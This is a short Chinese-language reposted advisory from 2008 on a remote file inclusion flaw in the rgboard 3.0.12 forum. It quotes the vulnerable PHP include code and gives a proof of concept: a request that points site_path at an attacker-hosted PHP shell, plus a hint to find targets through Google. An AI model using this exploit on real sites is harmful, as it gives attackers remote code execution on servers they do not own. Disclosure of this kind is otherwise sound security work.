| rgboard 3.0.12 远程文件包含漏洞 |
| 作者：佚名 来源：转载 发布时间：2008-5-8 9:39:35 发布人：黑客动画吧 |
<Script language=javascript>
var newasp_fontsize=9;
var newasp_lineheight=12;
</Script>
|
 减小字体  增大字体
Infos: rgboard 3.0.12 远程文件包含漏洞
Author: Flyh4t[w.s.t]
rgboard 3.0.12 是韩国的一个论坛程序,可以用google搜索rgboard查看使用的网站
vul code:
\include\bbs.lib.inc.php：
if (!defined('BBS_LIB_INC_INCLUDED')) {
define('BBS_LIB_INC_INCLUDED', 1);
// *-- BBS_LIB_INC_INCLUDED START --*
if(!$site_path) $site_path='./';
require_once "{$site_path}include/lib.inc.php";
//$site_path没有过滤直接放过来包含了
poc:
在你的网站放个phpshell,目录和文件名为/include/lib.inc.php
然后访问
httP://www.target.com/include/bbs.lib.inc.php?site_path=http://yousite/ | |
|
设为首页 
加入收藏 
联系我们 繁體中文 
